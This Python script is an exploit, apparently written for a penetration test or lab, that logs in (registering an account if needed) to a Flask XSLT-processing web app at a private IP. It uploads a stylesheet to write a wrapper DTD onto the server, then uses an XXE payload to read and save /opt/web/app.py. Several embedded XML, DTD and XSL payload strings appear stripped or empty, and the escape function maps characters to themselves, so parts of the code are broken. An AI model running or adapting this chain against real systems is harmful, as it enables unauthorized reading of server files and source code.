#!/usr/bin/env python3 """Read /opt/web/app.py through the XSLT-write + XXE wrapper chain.""" import html import os import re import sys from pathlib import Path import requests BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/") USERNAME = "pentester" PASSWORD = "P@ssw0rd123!" REMOTE_APP = "/opt/web/app.py" REMOTE_DTD = "/opt/web/uploads/xslib_app_reader.dtd" DEFAULT_OUTPUT = Path("source/opt_web/app_xxe.py") def login(session): response = session.post( f"{BASE}/login", data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False, timeout=10, ) if response.status_code == 302 and response.headers.get("Location") == "/dashboard": return # Registration is open, so create the account if it is not present. session.post( f"{BASE}/register", data={ "username": USERNAME, "email": f"{USERNAME}@test.com", "password": PASSWORD, "confirm_password": PASSWORD, "terms": "on", }, allow_redirects=False, timeout=10, ) response = session.post( f"{BASE}/login", data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False, timeout=10, ) if response.status_code != 302 or response.headers.get("Location") != "/dashboard": raise RuntimeError("login failed") def xml_escape(value): return ( value.replace("&", "&") .replace("<", "<") .replace(">", ">") .replace('"', """) .replace("'", "'") ) def upload(session, xml_name, xml_data, xsl_name, xsl_data): response = session.post( f"{BASE}/upload", files={ "xml_file": (xml_name, xml_data, "application/xml"), "xsl_file": (xsl_name, xsl_data, "application/xml"), }, timeout=15, ) response.raise_for_status() return response.text def write_wrapper_dtd(session): # app.py contains hundreds of apostrophes and several literal # strings. A simple declaration therefore breaks. # The double-quoted entity avoids apostrophes; CDATA preserves '<' as text. dtd = f''' "> '> %define; ''' writer_xsl = f''' {xml_escape(dtd)} APP_DTD_WRITE_OK ''' result = upload( session, "writer.xml", '', "writer.xsl", writer_xsl, ) if "APP_DTD_WRITE_OK" not in result: error = re.search(r"(?:XSLT processing failed|Processing error).*?

", result, re.S) raise RuntimeError(error.group(0) if error else "wrapper DTD write failed") def read_app(session): reader_xml = f''' %remote; ]> &xxe;''' # Text output avoids serializing route strings such as as XML. reader_xsl = ''' ''' result = upload(session, "reader.xml", reader_xml, "reader.xsl", reader_xsl) error = re.search( r'class="p-4 bg-red[^"]*">\s*]*>(.*?)

', result, re.S, ) if error: raise RuntimeError(html.unescape(error.group(1)).strip()) match = re.search(r']*>(.*?)', result, re.S) if not match: raise RuntimeError("result
 block not found")

    source = match.group(1)
    for _ in range(3):
        decoded = html.unescape(source)
        if decoded == source:
            break
        source = decoded
    source = source.strip()

    if "from flask import Flask" not in source or "app.run(" not in source:
        raise RuntimeError("response does not look like app.py")
    return source + "\n"


def main():
    output = Path(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_OUTPUT
    session = requests.Session()

    print(f"[*] Login: {USERNAME}")
    login(session)
    print(f"[*] Writing wrapper DTD: {REMOTE_DTD}")
    write_wrapper_dtd(session)
    print(f"[*] Reading: {REMOTE_APP}")
    source = read_app(session)

    output.parent.mkdir(parents=True, exist_ok=True)
    output.write_text(source)
    print(f"[+] Read {len(source)} bytes")
    print(f"[+] Saved to {output}")
    print("\n----- app.py -----")
    print(source, end="")


if __name__ == "__main__":
    main()